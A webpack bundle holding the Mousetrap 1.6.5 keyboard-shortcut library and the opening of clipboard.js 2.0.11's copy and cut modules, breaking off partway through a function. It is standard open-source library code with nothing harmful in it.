1/******/ (() => { // webpackBootstrap
2/******/ var __webpack_modules__ = ({
3
4/***/ 1933:
5/***/ ((module, exports, __webpack_require__) => {
6
7var __WEBPACK_AMD_DEFINE_RESULT__;/*global define:false */
8/**
9 * Copyright 2012-2017 Craig Campbell
10 *
11 * Licensed under the Apache License, Version 2.0 (the "License");
12 * you may not use this file except in compliance with the License.
13 * You may obtain a copy of the License at
14 *
15 * http://www.apache.org/licenses/LICENSE-2.0
16 *
17 * Unless required by applicable law or agreed to in writing, software
18 * distributed under the License is distributed on an "AS IS" BASIS,
19 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
20 * See the License for the specific language governing permissions and
21 * limitations under the License.
22 *
23 * Mousetrap is a simple keyboard shortcut library for Javascript with
24 * no external dependencies
25 *
26 * @version 1.6.5
27 * @url craig.is/killing/mice
28 */
29(function(window, document, undefined) {
30
31 // Check if mousetrap is used inside browser, if not, return
32 if (!window) {
33 return;
34 }
35
36 /**
37 * mapping of special keycodes to their corresponding keys
38 *
39 * everything in this dictionary cannot use keypress events
40 * so it has to be here to map to the correct keycodes for
41 * keyup/keydown events
42 *
43 * @type {Object}
44 */
45 var _MAP = {
46 8: 'backspace',
47 9: 'tab',
48 13: 'enter',
49 16: 'shift',
50 17: 'ctrl',
51 18: 'alt',
52 20: 'capslock',
53 27: 'esc',
54 32: 'space',
55 33: 'pageup',
56 34: 'pagedown',
57 35: 'end',
58 36: 'home',
59 37: 'left',
60 38: 'up',
61 39: 'right',
62 40: 'down',
63 45: 'ins',
64 46: 'del',
65 91: 'meta',
66 93: 'meta',
67 224: 'meta'
68 };
69
70 /**
71 * mapping for special characters so they can support
72 *
73 * this dictionary is only used incase you want to bind a
74 * keyup or keydown event to one of these keys
75 *
76 * @type {Object}
77 */
78 var _KEYCODE_MAP = {
79 106: '*',
80 107: '+',
81 109: '-',
82 110: '.',
83 111 : '/',
84 186: ';',
85 187: '=',
86 188: ',',
87 189: '-',
88 190: '.',
89 191: '/',
90 192: '`',
91 219: '[',
92 220: '\\',
93 221: ']',
94 222: '\''
95 };
96
97 /**
98 * this is a mapping of keys that require shift on a US keypad
99 * back to the non shift equivelents
100 *
101 * this is so you can use keyup events with these keys
102 *
103 * note that this will only work reliably on US keyboards
104 *
105 * @type {Object}
106 */
107 var _SHIFT_MAP = {
108 '~': '`',
109 '!': '1',
110 '@': '2',
111 '#': '3',
112 '$': '4',
113 '%': '5',
114 '^': '6',
115 '&': '7',
116 '*': '8',
117 '(': '9',
118 ')': '0',
119 '_': '-',
120 '+': '=',
121 ':': ';',
122 '\"': '\'',
123 '<': ',',
124 '>': '.',
125 '?': '/',
126 '|': '\\'
127 };
128
129 /**
130 * this is a list of special strings you can use to map
131 * to modifier keys when you specify your keyboard shortcuts
132 *
133 * @type {Object}
134 */
135 var _SPECIAL_ALIASES = {
136 'option': 'alt',
137 'command': 'meta',
138 'return': 'enter',
139 'escape': 'esc',
140 'plus': '+',
141 'mod': /Mac|iPod|iPhone|iPad/.test(navigator.platform) ? 'meta' : 'ctrl'
142 };
143
144 /**
145 * variable to store the flipped version of _MAP from above
146 * needed to check if we should use keypress or not when no action
147 * is specified
148 *
149 * @type {Object|undefined}
150 */
151 var _REVERSE_MAP;
152
153 /**
154 * loop through the f keys, f1 to f19 and add them to the map
155 * programatically
156 */
157 for (var i = 1; i < 20; ++i) {
158 _MAP[111 + i] = 'f' + i;
159 }
160
161 /**
162 * loop through to map numbers on the numeric keypad
163 */
164 for (i = 0; i <= 9; ++i) {
165
166 // This needs to use a string cause otherwise since 0 is falsey
167 // mousetrap will never fire for numpad 0 pressed as part of a keydown
168 // event.
169 //
170 // @see https://github.com/ccampbell/mousetrap/pull/258
171 _MAP[i + 96] = i.toString();
172 }
173
174 /**
175 * cross browser add event method
176 *
177 * @param {Element|HTMLDocument} object
178 * @param {string} type
179 * @param {Function} callback
180 * @returns void
181 */
182 function _addEvent(object, type, callback) {
183 if (object.addEventListener) {
184 object.addEventListener(type, callback, false);
185 return;
186 }
187
188 object.attachEvent('on' + type, callback);
189 }
190
191 /**
192 * takes the event and returns the key character
193 *
194 * @param {Event} e
195 * @return {string}
196 */
197 function _characterFromEvent(e) {
198
199 // for keypress events we should return the character as is
200 if (e.type == 'keypress') {
201 var character = String.fromCharCode(e.which);
202
203 // if the shift key is not pressed then it is safe to assume
204 // that we want the character to be lowercase. this means if
205 // you accidentally have caps lock on then your key bindings
206 // will continue to work
207 //
208 // the only side effect that might not be desired is if you
209 // bind something like 'A' cause you want to trigger an
210 // event when capital A is pressed caps lock will no longer
211 // trigger the event. shift+a will though.
212 if (!e.shiftKey) {
213 character = character.toLowerCase();
214 }
215
216 return character;
217 }
218
219 // for non keypress events the special maps are needed
220 if (_MAP[e.which]) {
221 return _MAP[e.which];
222 }
223
224 if (_KEYCODE_MAP[e.which]) {
225 return _KEYCODE_MAP[e.which];
226 }
227
228 // if it is not in the special map
229
230 // with keydown and keyup events the character seems to always
231 // come in as an uppercase character whether you are pressing shift
232 // or not. we should make sure it is always lowercase for comparisons
233 return String.fromCharCode(e.which).toLowerCase();
234 }
235
236 /**
237 * checks if two arrays are equal
238 *
239 * @param {Array} modifiers1
240 * @param {Array} modifiers2
241 * @returns {boolean}
242 */
243 function _modifiersMatch(modifiers1, modifiers2) {
244 return modifiers1.sort().join(',') === modifiers2.sort().join(',');
245 }
246
247 /**
248 * takes a key event and figures out what the modifiers are
249 *
250 * @param {Event} e
251 * @returns {Array}
252 */
253 function _eventModifiers(e) {
254 var modifiers = [];
255
256 if (e.shiftKey) {
257 modifiers.push('shift');
258 }
259
260 if (e.altKey) {
261 modifiers.push('alt');
262 }
263
264 if (e.ctrlKey) {
265 modifiers.push('ctrl');
266 }
267
268 if (e.metaKey) {
269 modifiers.push('meta');
270 }
271
272 return modifiers;
273 }
274
275 /**
276 * prevents default for this event
277 *
278 * @param {Event} e
279 * @returns void
280 */
281 function _preventDefault(e) {
282 if (e.preventDefault) {
283 e.preventDefault();
284 return;
285 }
286
287 e.returnValue = false;
288 }
289
290 /**
291 * stops propogation for this event
292 *
293 * @param {Event} e
294 * @returns void
295 */
296 function _stopPropagation(e) {
297 if (e.stopPropagation) {
298 e.stopPropagation();
299 return;
300 }
301
302 e.cancelBubble = true;
303 }
304
305 /**
306 * determines if the keycode specified is a modifier key or not
307 *
308 * @param {string} key
309 * @returns {boolean}
310 */
311 function _isModifier(key) {
312 return key == 'shift' || key == 'ctrl' || key == 'alt' || key == 'meta';
313 }
314
315 /**
316 * reverses the map lookup so that we can look for specific keys
317 * to see what can and can't use keypress
318 *
319 * @return {Object}
320 */
321 function _getReverseMap() {
322 if (!_REVERSE_MAP) {
323 _REVERSE_MAP = {};
324 for (var key in _MAP) {
325
326 // pull out the numeric keypad from here cause keypress should
327 // be able to detect the keys from the character
328 if (key > 95 && key < 112) {
329 continue;
330 }
331
332 if (_MAP.hasOwnProperty(key)) {
333 _REVERSE_MAP[_MAP[key]] = key;
334 }
335 }
336 }
337 return _REVERSE_MAP;
338 }
339
340 /**
341 * picks the best action based on the key combination
342 *
343 * @param {string} key - character for key
344 * @param {Array} modifiers
345 * @param {string=} action passed in
346 */
347 function _pickBestAction(key, modifiers, action) {
348
349 // if no action was picked in we should try to pick the one
350 // that we think would work best for this key
351 if (!action) {
352 action = _getReverseMap()[key] ? 'keydown' : 'keypress';
353 }
354
355 // modifier keys don't work as expected with keypress,
356 // switch to keydown
357 if (action == 'keypress' && modifiers.length) {
358 action = 'keydown';
359 }
360
361 return action;
362 }
363
364 /**
365 * Converts from a string key combination to an array
366 *
367 * @param {string} combination like "command+shift+l"
368 * @return {Array}
369 */
370 function _keysFromString(combination) {
371 if (combination === '+') {
372 return ['+'];
373 }
374
375 combination = combination.replace(/\+{2}/g, '+plus');
376 return combination.split('+');
377 }
378
379 /**
380 * Gets info for a specific key combination
381 *
382 * @param {string} combination key combination ("command+s" or "a" or "*")
383 * @param {string=} action
384 * @returns {Object}
385 */
386 function _getKeyInfo(combination, action) {
387 var keys;
388 var key;
389 var i;
390 var modifiers = [];
391
392 // take the keys from this pattern and figure out what the actual
393 // pattern is all about
394 keys = _keysFromString(combination);
395
396 for (i = 0; i < keys.length; ++i) {
397 key = keys[i];
398
399 // normalize key names
400 if (_SPECIAL_ALIASES[key]) {
401 key = _SPECIAL_ALIASES[key];
402 }
403
404 // if this is not a keypress event then we should
405 // be smart about using shift keys
406 // this will only work for US keyboards however
407 if (action && action != 'keypress' && _SHIFT_MAP[key]) {
408 key = _SHIFT_MAP[key];
409 modifiers.push('shift');
410 }
411
412 // if this key is a modifier then add it to the list of modifiers
413 if (_isModifier(key)) {
414 modifiers.push(key);
415 }
416 }
417
418 // depending on what the key combination is
419 // we will try to pick the best event for it
420 action = _pickBestAction(key, modifiers, action);
421
422 return {
423 key: key,
424 modifiers: modifiers,
425 action: action
426 };
427 }
428
429 function _belongsTo(element, ancestor) {
430 if (element === null || element === document) {
431 return false;
432 }
433
434 if (element === ancestor) {
435 return true;
436 }
437
438 return _belongsTo(element.parentNode, ancestor);
439 }
440
441 function Mousetrap(targetElement) {
442 var self = this;
443
444 targetElement = targetElement || document;
445
446 if (!(self instanceof Mousetrap)) {
447 return new Mousetrap(targetElement);
448 }
449
450 /**
451 * element to attach key events to
452 *
453 * @type {Element}
454 */
455 self.target = targetElement;
456
457 /**
458 * a list of all the callbacks setup via Mousetrap.bind()
459 *
460 * @type {Object}
461 */
462 self._callbacks = {};
463
464 /**
465 * direct map of string combinations to callbacks used for trigger()
466 *
467 * @type {Object}
468 */
469 self._directMap = {};
470
471 /**
472 * keeps track of what level each sequence is at since multiple
473 * sequences can start out with the same sequence
474 *
475 * @type {Object}
476 */
477 var _sequenceLevels = {};
478
479 /**
480 * variable to store the setTimeout call
481 *
482 * @type {null|number}
483 */
484 var _resetTimer;
485
486 /**
487 * temporary state where we will ignore the next keyup
488 *
489 * @type {boolean|string}
490 */
491 var _ignoreNextKeyup = false;
492
493 /**
494 * temporary state where we will ignore the next keypress
495 *
496 * @type {boolean}
497 */
498 var _ignoreNextKeypress = false;
499
500 /**
501 * are we currently inside of a sequence?
502 * type of action ("keyup" or "keydown" or "keypress") or false
503 *
504 * @type {boolean|string}
505 */
506 var _nextExpectedAction = false;
507
508 /**
509 * resets all sequence counters except for the ones passed in
510 *
511 * @param {Object} doNotReset
512 * @returns void
513 */
514 function _resetSequences(doNotReset) {
515 doNotReset = doNotReset || {};
516
517 var activeSequences = false,
518 key;
519
520 for (key in _sequenceLevels) {
521 if (doNotReset[key]) {
522 activeSequences = true;
523 continue;
524 }
525 _sequenceLevels[key] = 0;
526 }
527
528 if (!activeSequences) {
529 _nextExpectedAction = false;
530 }
531 }
532
533 /**
534 * finds all callbacks that match based on the keycode, modifiers,
535 * and action
536 *
537 * @param {string} character
538 * @param {Array} modifiers
539 * @param {Event|Object} e
540 * @param {string=} sequenceName - name of the sequence we are looking for
541 * @param {string=} combination
542 * @param {number=} level
543 * @returns {Array}
544 */
545 function _getMatches(character, modifiers, e, sequenceName, combination, level) {
546 var i;
547 var callback;
548 var matches = [];
549 var action = e.type;
550
551 // if there are no events related to this keycode
552 if (!self._callbacks[character]) {
553 return [];
554 }
555
556 // if a modifier key is coming up on its own we should allow it
557 if (action == 'keyup' && _isModifier(character)) {
558 modifiers = [character];
559 }
560
561 // loop through all callbacks for the key that was pressed
562 // and see if any of them match
563 for (i = 0; i < self._callbacks[character].length; ++i) {
564 callback = self._callbacks[character][i];
565
566 // if a sequence name is not specified, but this is a sequence at
567 // the wrong level then move onto the next match
568 if (!sequenceName && callback.seq && _sequenceLevels[callback.seq] != callback.level) {
569 continue;
570 }
571
572 // if the action we are looking for doesn't match the action we got
573 // then we should keep going
574 if (action != callback.action) {
575 continue;
576 }
577
578 // if this is a keypress event and the meta key and control key
579 // are not pressed that means that we need to only look at the
580 // character, otherwise check the modifiers as well
581 //
582 // chrome will not fire a keypress if meta or control is down
583 // safari will fire a keypress if meta or meta+shift is down
584 // firefox will fire a keypress if meta or control is down
585 if ((action == 'keypress' && !e.metaKey && !e.ctrlKey) || _modifiersMatch(modifiers, callback.modifiers)) {
586
587 // when you bind a combination or sequence a second time it
588 // should overwrite the first one. if a sequenceName or
589 // combination is specified in this call it does just that
590 //
591 // @todo make deleting its own method?
592 var deleteCombo = !sequenceName && callback.combo == combination;
593 var deleteSequence = sequenceName && callback.seq == sequenceName && callback.level == level;
594 if (deleteCombo || deleteSequence) {
595 self._callbacks[character].splice(i, 1);
596 }
597
598 matches.push(callback);
599 }
600 }
601
602 return matches;
603 }
604
605 /**
606 * actually calls the callback function
607 *
608 * if your callback function returns false this will use the jquery
609 * convention - prevent default and stop propogation on the event
610 *
611 * @param {Function} callback
612 * @param {Event} e
613 * @returns void
614 */
615 function _fireCallback(callback, e, combo, sequence) {
616
617 // if this event should not happen stop here
618 if (self.stopCallback(e, e.target || e.srcElement, combo, sequence)) {
619 return;
620 }
621
622 if (callback(e, combo) === false) {
623 _preventDefault(e);
624 _stopPropagation(e);
625 }
626 }
627
628 /**
629 * handles a character key event
630 *
631 * @param {string} character
632 * @param {Array} modifiers
633 * @param {Event} e
634 * @returns void
635 */
636 self._handleKey = function(character, modifiers, e) {
637 var callbacks = _getMatches(character, modifiers, e);
638 var i;
639 var doNotReset = {};
640 var maxLevel = 0;
641 var processedSequenceCallback = false;
642
643 // Calculate the maxLevel for sequences so we can only execute the longest callback sequence
644 for (i = 0; i < callbacks.length; ++i) {
645 if (callbacks[i].seq) {
646 maxLevel = Math.max(maxLevel, callbacks[i].level);
647 }
648 }
649
650 // loop through matching callbacks for this key event
651 for (i = 0; i < callbacks.length; ++i) {
652
653 // fire for all sequence callbacks
654 // this is because if for example you have multiple sequences
655 // bound such as "g i" and "g t" they both need to fire the
656 // callback for matching g cause otherwise you can only ever
657 // match the first one
658 if (callbacks[i].seq) {
659
660 // only fire callbacks for the maxLevel to prevent
661 // subsequences from also firing
662 //
663 // for example 'a option b' should not cause 'option b' to fire
664 // even though 'option b' is part of the other sequence
665 //
666 // any sequences that do not match here will be discarded
667 // below by the _resetSequences call
668 if (callbacks[i].level != maxLevel) {
669 continue;
670 }
671
672 processedSequenceCallback = true;
673
674 // keep a list of which sequences were matches for later
675 doNotReset[callbacks[i].seq] = 1;
676 _fireCallback(callbacks[i].callback, e, callbacks[i].combo, callbacks[i].seq);
677 continue;
678 }
679
680 // if there were no sequence matches but we are still here
681 // that means this is a regular match so we should fire that
682 if (!processedSequenceCallback) {
683 _fireCallback(callbacks[i].callback, e, callbacks[i].combo);
684 }
685 }
686
687 // if the key you pressed matches the type of sequence without
688 // being a modifier (ie "keyup" or "keypress") then we should
689 // reset all sequences that were not matched by this event
690 //
691 // this is so, for example, if you have the sequence "h a t" and you
692 // type "h e a r t" it does not match. in this case the "e" will
693 // cause the sequence to reset
694 //
695 // modifier keys are ignored because you can have a sequence
696 // that contains modifiers such as "enter ctrl+space" and in most
697 // cases the modifier key will be pressed before the next key
698 //
699 // also if you have a sequence such as "ctrl+b a" then pressing the
700 // "b" key will trigger a "keypress" and a "keydown"
701 //
702 // the "keydown" is expected when there is a modifier, but the
703 // "keypress" ends up matching the _nextExpectedAction since it occurs
704 // after and that causes the sequence to reset
705 //
706 // we ignore keypresses in a sequence that directly follow a keydown
707 // for the same character
708 var ignoreThisKeypress = e.type == 'keypress' && _ignoreNextKeypress;
709 if (e.type == _nextExpectedAction && !_isModifier(character) && !ignoreThisKeypress) {
710 _resetSequences(doNotReset);
711 }
712
713 _ignoreNextKeypress = processedSequenceCallback && e.type == 'keydown';
714 };
715
716 /**
717 * handles a keydown event
718 *
719 * @param {Event} e
720 * @returns void
721 */
722 function _handleKeyEvent(e) {
723
724 // normalize e.which for key events
725 // @see http://stackoverflow.com/questions/4285627/javascript-keycode-vs-charcode-utter-confusion
726 if (typeof e.which !== 'number') {
727 e.which = e.keyCode;
728 }
729
730 var character = _characterFromEvent(e);
731
732 // no character found then stop
733 if (!character) {
734 return;
735 }
736
737 // need to use === for the character check because the character can be 0
738 if (e.type == 'keyup' && _ignoreNextKeyup === character) {
739 _ignoreNextKeyup = false;
740 return;
741 }
742
743 self.handleKey(character, _eventModifiers(e), e);
744 }
745
746 /**
747 * called to set a 1 second timeout on the specified sequence
748 *
749 * this is so after each key press in the sequence you have 1 second
750 * to press the next key before you have to start over
751 *
752 * @returns void
753 */
754 function _resetSequenceTimer() {
755 clearTimeout(_resetTimer);
756 _resetTimer = setTimeout(_resetSequences, 1000);
757 }
758
759 /**
760 * binds a key sequence to an event
761 *
762 * @param {string} combo - combo specified in bind call
763 * @param {Array} keys
764 * @param {Function} callback
765 * @param {string=} action
766 * @returns void
767 */
768 function _bindSequence(combo, keys, callback, action) {
769
770 // start off by adding a sequence level record for this combination
771 // and setting the level to 0
772 _sequenceLevels[combo] = 0;
773
774 /**
775 * callback to increase the sequence level for this sequence and reset
776 * all other sequences that were active
777 *
778 * @param {string} nextAction
779 * @returns {Function}
780 */
781 function _increaseSequence(nextAction) {
782 return function() {
783 _nextExpectedAction = nextAction;
784 ++_sequenceLevels[combo];
785 _resetSequenceTimer();
786 };
787 }
788
789 /**
790 * wraps the specified callback inside of another function in order
791 * to reset all sequence counters as soon as this sequence is done
792 *
793 * @param {Event} e
794 * @returns void
795 */
796 function _callbackAndReset(e) {
797 _fireCallback(callback, e, combo);
798
799 // we should ignore the next key up if the action is key down
800 // or keypress. this is so if you finish a sequence and
801 // release the key the final key will not trigger a keyup
802 if (action !== 'keyup') {
803 _ignoreNextKeyup = _characterFromEvent(e);
804 }
805
806 // weird race condition if a sequence ends with the key
807 // another sequence begins with
808 setTimeout(_resetSequences, 10);
809 }
810
811 // loop through keys one at a time and bind the appropriate callback
812 // function. for any key leading up to the final one it should
813 // increase the sequence. after the final, it should reset all sequences
814 //
815 // if an action is specified in the original bind call then that will
816 // be used throughout. otherwise we will pass the action that the
817 // next key in the sequence should match. this allows a sequence
818 // to mix and match keypress and keydown events depending on which
819 // ones are better suited to the key provided
820 for (var i = 0; i < keys.length; ++i) {
821 var isFinal = i + 1 === keys.length;
822 var wrappedCallback = isFinal ? _callbackAndReset : _increaseSequence(action || _getKeyInfo(keys[i + 1]).action);
823 _bindSingle(keys[i], wrappedCallback, action, combo, i);
824 }
825 }
826
827 /**
828 * binds a single keyboard combination
829 *
830 * @param {string} combination
831 * @param {Function} callback
832 * @param {string=} action
833 * @param {string=} sequenceName - name of sequence if part of sequence
834 * @param {number=} level - what part of the sequence the command is
835 * @returns void
836 */
837 function _bindSingle(combination, callback, action, sequenceName, level) {
838
839 // store a direct mapped reference for use with Mousetrap.trigger
840 self._directMap[combination + ':' + action] = callback;
841
842 // make sure multiple spaces in a row become a single space
843 combination = combination.replace(/\s+/g, ' ');
844
845 var sequence = combination.split(' ');
846 var info;
847
848 // if this pattern is a sequence of keys then run through this method
849 // to reprocess each pattern one key at a time
850 if (sequence.length > 1) {
851 _bindSequence(combination, sequence, callback, action);
852 return;
853 }
854
855 info = _getKeyInfo(combination, action);
856
857 // make sure to initialize array if this is the first time
858 // a callback is added for this key
859 self._callbacks[info.key] = self._callbacks[info.key] || [];
860
861 // remove an existing match if there is one
862 _getMatches(info.key, info.modifiers, {type: info.action}, sequenceName, combination, level);
863
864 // add this call back to the array
865 // if it is a sequence put it at the beginning
866 // if not put it at the end
867 //
868 // this is important because the way these are processed expects
869 // the sequence ones to come first
870 self._callbacks[info.key][sequenceName ? 'unshift' : 'push']({
871 callback: callback,
872 modifiers: info.modifiers,
873 action: info.action,
874 seq: sequenceName,
875 level: level,
876 combo: combination
877 });
878 }
879
880 /**
881 * binds multiple combinations to the same callback
882 *
883 * @param {Array} combinations
884 * @param {Function} callback
885 * @param {string|undefined} action
886 * @returns void
887 */
888 self._bindMultiple = function(combinations, callback, action) {
889 for (var i = 0; i < combinations.length; ++i) {
890 _bindSingle(combinations[i], callback, action);
891 }
892 };
893
894 // start!
895 _addEvent(targetElement, 'keypress', _handleKeyEvent);
896 _addEvent(targetElement, 'keydown', _handleKeyEvent);
897 _addEvent(targetElement, 'keyup', _handleKeyEvent);
898 }
899
900 /**
901 * binds an event to mousetrap
902 *
903 * can be a single key, a combination of keys separated with +,
904 * an array of keys, or a sequence of keys separated by spaces
905 *
906 * be sure to list the modifier keys first to make sure that the
907 * correct key ends up getting bound (the last key in the pattern)
908 *
909 * @param {string|Array} keys
910 * @param {Function} callback
911 * @param {string=} action - 'keypress', 'keydown', or 'keyup'
912 * @returns void
913 */
914 Mousetrap.prototype.bind = function(keys, callback, action) {
915 var self = this;
916 keys = keys instanceof Array ? keys : [keys];
917 self._bindMultiple.call(self, keys, callback, action);
918 return self;
919 };
920
921 /**
922 * unbinds an event to mousetrap
923 *
924 * the unbinding sets the callback function of the specified key combo
925 * to an empty function and deletes the corresponding key in the
926 * _directMap dict.
927 *
928 * TODO: actually remove this from the _callbacks dictionary instead
929 * of binding an empty function
930 *
931 * the keycombo+action has to be exactly the same as
932 * it was defined in the bind method
933 *
934 * @param {string|Array} keys
935 * @param {string} action
936 * @returns void
937 */
938 Mousetrap.prototype.unbind = function(keys, action) {
939 var self = this;
940 return self.bind.call(self, keys, function() {}, action);
941 };
942
943 /**
944 * triggers an event that has already been bound
945 *
946 * @param {string} keys
947 * @param {string=} action
948 * @returns void
949 */
950 Mousetrap.prototype.trigger = function(keys, action) {
951 var self = this;
952 if (self._directMap[keys + ':' + action]) {
953 self._directMap[keys + ':' + action]({}, keys);
954 }
955 return self;
956 };
957
958 /**
959 * resets the library back to its initial state. this is useful
960 * if you want to clear out the current keyboard shortcuts and bind
961 * new ones - for example if you switch to another page
962 *
963 * @returns void
964 */
965 Mousetrap.prototype.reset = function() {
966 var self = this;
967 self._callbacks = {};
968 self._directMap = {};
969 return self;
970 };
971
972 /**
973 * should we stop this event before firing off callbacks
974 *
975 * @param {Event} e
976 * @param {Element} element
977 * @return {boolean}
978 */
979 Mousetrap.prototype.stopCallback = function(e, element) {
980 var self = this;
981
982 // if the element has the class "mousetrap" then no need to stop
983 if ((' ' + element.className + ' ').indexOf(' mousetrap ') > -1) {
984 return false;
985 }
986
987 if (_belongsTo(element, self.target)) {
988 return false;
989 }
990
991 // Events originating from a shadow DOM are re-targetted and `e.target` is the shadow host,
992 // not the initial event target in the shadow tree. Note that not all events cross the
993 // shadow boundary.
994 // For shadow trees with `mode: 'open'`, the initial event target is the first element in
995 // the event’s composed path. For shadow trees with `mode: 'closed'`, the initial event
996 // target cannot be obtained.
997 if ('composedPath' in e && typeof e.composedPath === 'function') {
998 // For open shadow trees, update `element` so that the following check works.
999 var initialEventTarget = e.composedPath()[0];
1000 if (initialEventTarget !== e.target) {
1001 element = initialEventTarget;
1002 }
1003 }
1004
1005 // stop for input, select, and textarea
1006 return element.tagName == 'INPUT' || element.tagName == 'SELECT' || element.tagName == 'TEXTAREA' || element.isContentEditable;
1007 };
1008
1009 /**
1010 * exposes _handleKey publicly so it can be overwritten by extensions
1011 */
1012 Mousetrap.prototype.handleKey = function() {
1013 var self = this;
1014 return self._handleKey.apply(self, arguments);
1015 };
1016
1017 /**
1018 * allow custom key mappings
1019 */
1020 Mousetrap.addKeycodes = function(object) {
1021 for (var key in object) {
1022 if (object.hasOwnProperty(key)) {
1023 _MAP[key] = object[key];
1024 }
1025 }
1026 _REVERSE_MAP = null;
1027 };
1028
1029 /**
1030 * Init the global mousetrap functions
1031 *
1032 * This method is needed to allow the global mousetrap functions to work
1033 * now that mousetrap is a constructor function.
1034 */
1035 Mousetrap.init = function() {
1036 var documentMousetrap = Mousetrap(document);
1037 for (var method in documentMousetrap) {
1038 if (method.charAt(0) !== '_') {
1039 Mousetrap[method] = (function(method) {
1040 return function() {
1041 return documentMousetrap[method].apply(documentMousetrap, arguments);
1042 };
1043 } (method));
1044 }
1045 }
1046 };
1047
1048 Mousetrap.init();
1049
1050 // expose mousetrap to the global object
1051 window.Mousetrap = Mousetrap;
1052
1053 // expose as a common js module
1054 if ( true && module.exports) {
1055 module.exports = Mousetrap;
1056 }
1057
1058 // expose mousetrap as an AMD module
1059 if (true) {
1060 !(__WEBPACK_AMD_DEFINE_RESULT__ = (function() {
1061 return Mousetrap;
1062 }).call(exports, __webpack_require__, exports, module),
1063 __WEBPACK_AMD_DEFINE_RESULT__ !== undefined && (module.exports = __WEBPACK_AMD_DEFINE_RESULT__));
1064 }
1065}) (typeof window !== 'undefined' ? window : null, typeof window !== 'undefined' ? document : null);
1066
1067
1068/***/ }),
1069
1070/***/ 3758:
1071/***/ (function(module) {
1072
1073/*!
1074 * clipboard.js v2.0.11
1075 * https://clipboardjs.com/
1076 *
1077 * Licensed MIT © Zeno Rocha
1078 */
1079(function webpackUniversalModuleDefinition(root, factory) {
1080 if(true)
1081 module.exports = factory();
1082 else {}
1083})(this, function() {
1084return /******/ (function() { // webpackBootstrap
1085/******/ var __webpack_modules__ = ({
1086
1087/***/ 686:
1088/***/ (function(__unused_webpack_module, __nested_webpack_exports__, __nested_webpack_require_623__) {
1089
1090"use strict";
1091
1092// EXPORTS
1093__nested_webpack_require_623__.d(__nested_webpack_exports__, {
1094 "default": function() { return /* binding */ clipboard; }
1095});
1096
1097// EXTERNAL MODULE: ./node_modules/tiny-emitter/index.js
1098var tiny_emitter = __nested_webpack_require_623__(279);
1099var tiny_emitter_default = /*#__PURE__*/__nested_webpack_require_623__.n(tiny_emitter);
1100// EXTERNAL MODULE: ./node_modules/good-listener/src/listen.js
1101var listen = __nested_webpack_require_623__(370);
1102var listen_default = /*#__PURE__*/__nested_webpack_require_623__.n(listen);
1103// EXTERNAL MODULE: ./node_modules/select/src/select.js
1104var src_select = __nested_webpack_require_623__(817);
1105var select_default = /*#__PURE__*/__nested_webpack_require_623__.n(src_select);
1106;// CONCATENATED MODULE: ./src/common/command.js
1107/**
1108 * Executes a given operation type.
1109 * @param {String} type
1110 * @return {Boolean}
1111 */
1112function command(type) {
1113 try {
1114 return document.execCommand(type);
1115 } catch (err) {
1116 return false;
1117 }
1118}
1119;// CONCATENATED MODULE: ./src/actions/cut.js
1120
1121
1122/**
1123 * Cut action wrapper.
1124 * @param {String|HTMLElement} target
1125 * @return {String}
1126 */
1127
1128var ClipboardActionCut = function ClipboardActionCut(target) {
1129 var selectedText = select_default()(target);
1130 command('cut');
1131 return selectedText;
1132};
1133
1134/* harmony default export */ var actions_cut = (ClipboardActionCut);
1135;// CONCATENATED MODULE: ./src/common/create-fake-element.js
1136/**
1137 * Creates a fake textarea element with a value.
1138 * @param {String} value
1139 * @return {HTMLElement}
1140 */
1141function createFakeElement(value) {
1142 var isRTL = document.documentElement.getAttribute('dir') === 'rtl';
1143 var fakeElement = document.createElement('textarea'); // Prevent zooming on iOS
1144
1145 fakeElement.style.fontSize = '12pt'; // Reset box model
1146
1147 fakeElement.style.border = '0';
1148 fakeElement.style.padding = '0';
1149 fakeElement.style.margin = '0'; // Move element out of screen horizontally
1150
1151 fakeElement.style.position = 'absolute';
1152 fakeElement.style[isRTL ? 'right' : 'left'] = '-9999px'; // Move element to the same position vertically
1153
1154 var yPosition = window.pageYOffset || document.documentElement.scrollTop;
1155 fakeElement.style.top = "".concat(yPosition, "px");
1156 fakeElement.setAttribute('readonly', '');
1157 fakeElement.value = value;
1158 return fakeElement;
1159}
1160;// CONCATENATED MODULE: ./src/actions/copy.js
1161
1162
1163
1164/**
1165 * Create fake copy action wrapper using a fake element.
1166 * @param {String} target
1167 * @param {Object} options
1168 * @return {String}
1169 */
1170
1171var fakeCopyAction = function fakeCopyAction(value, options) {
1172 var fakeElement = createFakeElement(value);
1173 options.container.appendChild(fakeElement);
1174 var selectedText = select_default()(fakeElement);
1175 command('copy');
1176 fakeElement.remove();
1177 return selectedText;
1178};
1179/**
1180 * Copy action wrapper.
1181 * @param {String|HTMLElement} target
1182 * @param {Object} options
1183 * @return {String}
1184 */
1185
1186
1187var ClipboardActionCopy = function ClipboardActionCopy(target) {
1188 var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {
1189 container: document.body
1190 };
1191 var selectedText = '';
1192
1193 if (typeof target === 'string') {
1194 selectedText = fakeCopyAction(target, options);
1195 } else if (target instanceof HTMLInputElement && !['text', 'search', 'url', 'tel', 'password'].includes(target === null || target === void 0 ? void 0 : target.type)) {
1196 // If input type doesn't support `setSelectionRange`. Simulate it. https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/setSelectionRange
1197 selectedText = fakeCopyAction(target.value, options);
1198 } else {
1199 selectedText = select_default()(target);
1200 command('copy');
1201 }
1202
1203 return selectedText;
1204};
1205
1206/* harmony default export */ var actions_copy = (ClipboardActionCopy);
1207;// CONCATENATED MODULE: ./src/actions/default.js
1208function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }
1209
1210
1211
1212/**
1213 * Inner function which performs selection from either `text` or `target`
1214 * properties and then executes copy or cut operations.
1215 * @param {Object} options
1216 */
1217
1218var ClipboardActionDefault = function ClipboardActionDefault() {
1219 var options = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
1220 // Defines base properties passed from constructor.
1221 var _options$action = options.action,
1222 action = _options$action === void 0 ? 'copy' : _options$action,
1223 container = options.container,
1224 target = options.target,
1225 text = options.text; // Sets the `action` to be performed which can be either 'copy' or 'cut'.
1226
1227 if (action !== 'copy' && action !== 'cut') {
